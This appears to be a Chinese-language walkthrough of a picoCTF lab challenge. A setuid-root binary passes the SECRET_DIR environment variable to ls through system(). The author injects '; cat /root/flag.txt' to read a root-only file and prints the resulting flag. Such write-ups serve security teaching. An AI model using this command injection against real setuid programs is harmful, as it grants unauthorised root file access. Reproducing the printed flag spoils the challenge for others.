看到題目和提示,知道解題的關鍵在於 webshell 中的 /root folder,並且跟 ls
指令相關。
hint 1:Have you checked the content of the /root folder
hint 2:Find a way to add more instructions to the ls
連上題目給的 webshell。因為題目有要求 login username,所以在網址前要加上 username@,否則會使用您所正在使用的 shell username,並且要在 port 前加上 -p
。
$ ssh ctf-player@saturn.picoctf.net -p 65517
The authenticity of host '[saturn.picoctf.net]:49318 ([13.59.203.175]:49318)' can't be established.
ED25519 key fingerprint is SHA256:HPhB80jvwzwsykN/XSDUt9zGDYpkIHHd9PMoDlkzWpw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:49318' (ED25519) to the list of known hosts.
ctf-player@saturn.picoctf.net's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.5.0-1023-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
首先先用 ls
檢視有甚麼內容,因為 hint 有提示查看 /root,於是我們試著查看,發現會出現 permission denied 。
ctf-player@pico-chall$ ls -l
total 20
-rwsr-xr-x 1 root root 18752 Aug 4 2023 bin
ctf-player@pico-chall$ ls /root
ls: cannot open directory '/root': Permission denied
試著直接執行 ./bin,會跳出 error,顯示我們的環境變數 SECRET_DIR 沒有設置。
$ ./bin
Error: SECRET_DIR environment variable is not set
因為 bin 是在 root 底下,於是我們將環境變數試設為 /root, 發現再次執行 ./bin 時會出現 flag.txt。
ctf-player@pico-chall$ export SECRET_DIR='/root'
ctf-player@pico-chall$ ./bin
Listing the content of /root as root:
flag.txt
接著再嘗試將環境變數設為 cat /root/flag.txt
,看看能不能將 flag.txt 內容印出來,會跳出有 ls 的 error,於是乎猜測這個環境變數的第一個變數應該是銜接在 ls 這個指令。
ctf-player@pico-chall$ export SECRET_DIR='cat /root/flag.txt'
ctf-player@pico-chall$ ./bin
Listing the content of cat /root/flag.txt as root:
ls: cannot access 'cat': No such file or directory
/root/flag.txt
Error: system() call returned non-zero value: 512
ctf-player@pico-chall$
於是,第一個變數我們設為 /root,讓 bin 執行時會先使用 ls
指令列出 /root 底下的資訊,再來使用 cat
將 root/flag.txt 的資訊印出來,便能得到 flag 了。
ctf-player@pico-chall$ export SECRET_DIR='/root; cat /root/flag.txt'
ctf-player@pico-chall$ ./bin
Listing the content of /root; cat /root/flag.txt as root:
flag.txt
picoCTF{Power_t0_man!pul4t3_3nv_cdeb2a4d}
請記住,第二個變數中的 cat
很重要,若沒有給予 cat
指令,執行 bin 時,無論第幾個變數都會被以 ls
指令執行。
ctf-player@pico-chall$ export SECRET_DIR='/root /root/flag.txt'
ctf-player@pico-chall$ ./bin
Listing the content of /root /root/flag.txt as root:
/root/flag.txt
/root:
flag.txt
而其實第一個變數不一定要是資料夾或是路徑,也可以是 ls
指令的參數,例如您可以使用 ls -l
,可以看到結果如下:
ctf-player@pico-chall$ export SECRET_DIR='-l; cat /root/flag.txt'
ctf-player@pico-chall$ ./bin
Listing the content of -l; cat /root/flag.txt as root:
total 20
-rwsr-xr-x 1 root root 18752 Aug 4 2023 bin
picoCTF{Power_t0_man!pul4t3_3nv_cdeb2a4d}
小結:
學會使用 ssh 連上 webshell,並且會設定環境變數。